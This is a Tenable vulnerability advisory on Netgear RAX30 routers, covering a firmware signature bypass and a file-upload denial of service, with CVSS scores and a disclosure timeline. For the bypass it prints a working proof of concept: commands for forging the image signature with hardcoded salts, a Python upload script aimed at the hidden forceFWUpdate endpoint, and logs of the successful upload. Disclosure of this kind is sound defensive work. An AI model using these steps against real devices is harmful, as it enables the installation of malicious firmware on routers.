Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Netgear RAX30 Multiple Vulnerabilities

High

Synopsis

Bypass Firmware Upgrade Signature Checks (Post-Auth) - CVE-2023-28337
When uploading a firmware image to the device for updates, a hidden “forceFWUpdate” parameter may be provided to force the upgrade to complete and bypass certain validation checks. End users can use this to upload modified, unofficial, and potentially malicious firmware to the device.
As a proof of concept, we downloaded firmware V1.0.9.92_1, and modified it to read as V9.9.9.99_9 by running the following command:
sed -i -e "s/V1.0.9.92_1/V9.9.9.99_9/g" ./RAX30.img
Next, we stripped the header value to obtain the raw image, in this case, it is 76 bytes long. We also use the hardcoded values used when creating the firmware signature.
dd if=./RAX30.img of=image bs=1 skip=76
dd if=./RAX30.img of=header bs=1 count=76
dd if=./header of=header_without_hash bs=1 skip=36
echo -n hr89sdfgjkehx > sha_head
echo -n nohsli9fjh3f > sha_tail
Generate the required hash by combining the relevant data.
# cat sha_head header_without_hash image sha_tail > modified_image
# openssl dgst -sha256 modified_image
Update the header with the above hash value and re-attach it to "image." The firmware will now see this as a properly signed firmware image.
The following PoC was used to demonstrate the successful upload:
#####
import requests

burp0_url = "http://123.123.123.1:80/cgi-bin/rex_cgi?function=forceFWUpdate&csrftoken=1391963467"
burp0_cookies = {"session": "72RmsEzn78dq4IrBXCBOWxbP8bGmo1kl"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:108.0) Gecko/20100101 Firefox/108.0", "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Origin": "http://123.123.123.1", "Authorization": "Basic YWRtaW46TGFicGFzczEyMyE=", "Connection": "close", "Referer": "http://123.123.123.1/UPG_upgrade.html"}

files = {"mtenFWUpload": open("upload_image.img", "rb")}

requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, files=files)
#####
Logs from the router show successful upload.
#####
CGI_DEBUG> cgi_main.c:427: Enter CGI...
CGI_DEBUG> cgi_main.c:293: pData->pBoundryStr="676f250848d2deaec8af8b22701d2f38"
CGI_DEBUG> cgi_main.c:453: env.reqUri /cgi-bin/rex_cgi
CGI_DEBUG> cgi_main.c:454: env.pSetQueryString (null)
CGI_DEBUG> cgi_main.c:455: env.pGetQueryString function=forceFWUpdate&csrftoken=1391963467
CGI_DEBUG> cgi_main.c:467: process upload file
CGI_DEBUG> cgi_upload.c:1165: content_len=67936077 upload_type=1
rm: can't remove '/tmp/fw/guiCheck': No such file or directory
CGI_DEBUG> cgi_upload.c:597: content_len=67936077 upload_type=1
CGI_DEBUG> cgi_upload.c:612: start boundary=>--676f250848d2deaec8af8b22701d2f38
<=
CGI_DEBUG> cgi_upload.c:645: filename "upload_image.img"

CGI_ERROR> cgi_upload.c:666: imageSizeEst = 67936043
CGI_DEBUG> cgi_upload.c:673: http: stat uboot env /proc/environment/single_image using single image
CGI_DEBUG> cgi_upload.c:703: upload start with len = 131072
CGI_DEBUG> cgi_upload.c:705: httpd: allocating 131072 byte buffer to hold image segment.
CGI_DEBUG> cgi_upload.c:713: 131072 bytes allocated for image data at 0xb6677018
CGI_DEBUG> cgi_upload.c:714: httpd: memory allocated.
CGI_DEBUG> cgi_upload.c:888: Found sign header, new validImageBlockSize 130996
CGI_DEBUG> cgi_upload.c:889: cur_ver=V1.0.9.92_1, new_ver=V9.9.9.99_9
CGI_DEBUG> cgi_upload.c:947: 262144 bytes allocated for image data at 0xb6535018
CGI_DEBUG> cgi_upload.c:948: httpd: memory allocated.
CGI_DEBUG> cgi_upload.c:377: got rc=0 after 67935957 bytes
CGI_DEBUG> cgi_upload.c:800: fgetc got EOF after 171733 bytes
CGI_DEBUG> cgi_upload.c:816: searching for boundary =>--676f250848d2deaec8af8b22701d2f38
<=
CGI_DEBUG> cgi_upload.c:820: found end boundary
CGI_DEBUG> cgi_upload.c:834: find boundary validImageBlockSize 171693, imageSizeAcc 67935841
CGI_DEBUG> cgi_upload.c:957: final image imageSizeAcc=67935841, result=0
#####
  • CVSSv3 - 8.0 - AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

File Upload Denial of Service - CVE-2023-28338

Any request send to the device's web service containing a “Content-Type” of “multipartboundary=” will result in the request body being written to “/tmp/mulipartFile” on the device itself. A sufficiently large file will cause device resources to be exhausted, resulting in the device becoming unusable until it is rebooted.

  • CVSSv3 AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 6.5

Solution

At the time of this publication, the vendor has not supplied patches or recommended mitigations for these issues.

Disclosure Timeline

December 12, 2022 - Tenable discloses issues to vendor.
December 16, 2022 - Vendor requests clarification and acknowledges.
December 16, 2022 - Tenable provides clarification.
December 27, 2022 - Vendor requests clarification.
December 28, 2022 - Tenable acknowledges request and states that information will be provided as soon as possible.
January 5, 2023 - Vendor requests clarification.
January 6, 2023 - Tenable provides clarification.
January 9, 2023 - Vendor expressed technical issues on receiving images from prior email. Tenable resends in different format.
February 3, 2023 - Vendor requests extension to May 2023 for one of the reported issues.
February 6, 2023 - Tenable denies extension request.
February 7, 2023 - Vendor requests extension request to May 2023 for one of the reported issues.
February 7, 2023 - Tenable again denies extension request.
March 6, 2023 - Tenable notices security-related patch released without notice. Requests more information from vendor.
March 6, 2023 - Tenable notifies vendor that patches have been released without proper coordination. Our advisory will go out on March 8 unless otherwise disputed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-12
Credit:
Evan Grant, Jimi Sebree
Affected Products:
NETGEAR Nighthawk WiFi6 Router
Risk Factor:
High

Advisory Timeline

March 14, 2023 - Initial Release